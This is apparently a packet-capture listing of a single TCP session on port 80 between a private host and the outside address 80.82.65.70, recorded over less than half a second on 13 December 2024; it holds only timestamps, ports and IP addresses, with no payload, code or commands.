Dec 13, 2024 01:09:49.871768951 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.872416019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.872464895 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.872509003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.872780085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.873290062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.873327017 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.873351097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.873364925 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.929043055 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.929116011 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.929125071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.929224014 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.929379940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.929434061 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.929476976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.929528952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.930228949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.930280924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.930325031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.930389881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.931088924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.931189060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.931241035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.931931973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.931986094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.932024002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.932070971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.932763100 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.932821989 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.932867050 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.932915926 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.933654070 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.933703899 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.933723927 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.933769941 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.934470892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.934562922 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.934596062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.934643030 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.935368061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.935379028 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.935431004 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.936192989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.936248064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.936289072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.936400890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.937030077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.937098026 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.937134981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.937186003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.937886953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.937915087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.937942028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.937953949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.938744068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.938821077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.938894033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.938944101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.939630032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.939682961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.965554953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.965630054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.965708971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.965949059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.966001034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.966043949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.966499090 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.966829062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.966905117 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.966958046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.967658043 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.967727900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.967786074 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.968527079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.968580961 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.968580961 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.968753099 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.969376087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.969489098 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.969522953 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.969537973 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.970235109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.970280886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.970284939 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.970326900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.971074104 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.971127033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.971175909 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.971227884 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.971930027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.972027063 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.972059965 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.972116947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.972770929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.972820044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.972883940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.972979069 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.973634005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.973691940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.973735094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.973792076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.974451065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.974507093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.974574089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.974647045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.975321054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.975369930 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.975413084 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.975464106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.976152897 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.976211071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.043761969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.043795109 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.043879032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.043922901 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.043970108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.044049025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.044111967 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.044780016 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.044913054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.044917107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.044970989 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.045639992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.045691013 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.045766115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.045814991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.046504974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.046556950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.046629906 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.046677113 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.047347069 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.047399044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.047460079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.047528028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.048226118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.048273087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.048312902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.048355103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.049052954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.049140930 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.049177885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.049911976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.049988031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.050038099 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.050789118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.050852060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.050892115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.051616907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.051661968 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.051690102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.051753044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.052457094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.052505016 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.052509069 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.052584887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.053323030 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.053364992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.053410053 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.054168940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.054224968 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.054337025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.054390907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.055027962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.055080891 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.055125952 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.055177927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.055892944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.055943966 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.055983067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.056031942 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.056714058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.056763887 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.056763887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.056809902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.057574987 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.057626963 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.057687998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.057735920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.058435917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.058481932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.058481932 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.058556080 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.059302092 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.059365988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.059412956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.059459925 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.060143948 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.060194016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.060316086 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.060383081 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.061029911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.061075926 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.061162949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.061235905 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.061816931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.061898947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.061933041 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.062010050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.062683105 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.062743902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.062788010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.062838078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.063560009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.063610077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.063677073 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.063740969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.064418077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.064471006 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.064506054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.064569950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.065267086 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.065340042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.065361977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.065449953 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.121197939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.121239901 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.121293068 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.121309042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.121328115 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.121337891 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.121385098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.122153044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.122198105 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.122266054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.122315884 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.123009920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.123059034 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.123127937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.123173952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.123848915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.123961926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.124011993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.124691010 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.124800920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.124831915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.124895096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.125549078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.125598907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.125641108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.125686884 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.126380920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.126488924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.126524925 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.126610994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.127279997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.127340078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.127424002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.127476931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.128150940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.128200054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.128228903 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.128293991 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.128957987 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.128993034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.129044056 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.129817009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.129900932 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.129936934 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.129987955 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.130667925 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.130721092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.130773067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.130824089 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.131510973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.131567001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.157494068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.157581091 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.157608986 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.157651901 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.157831907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.157893896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.157948971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.158016920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.158648968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.158709049 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.158988953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.159059048 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.159102917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.159173965 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.159868956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.159913063 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.159940004 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.159996033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.160722971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.160773993 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.160850048 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.160895109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.161561966 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.161604881 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.161639929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.161681890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.162400007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.162442923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.162578106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.162633896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.163244963 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.163286924 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.163367033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.163419008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.164103031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.164148092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.164216042 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.164326906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.164949894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.165081978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.165112972 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.165141106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.165808916 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.165863037 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.165981054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.166026115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.166652918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.166708946 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.166743040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.166793108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.167548895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.167598009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.167624950 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.167726994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.235488892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.235558033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.235675097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.235727072 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.235850096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.235903025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.235937119 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.235987902 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.236679077 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.236726046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.237003088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.237054110 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.237139940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.237190962 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.237854958 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.237926960 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.237960100 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.238153934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:50.238687038 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:50.238790035 CET	49731	80	192.168.2.4	80.82.65.70
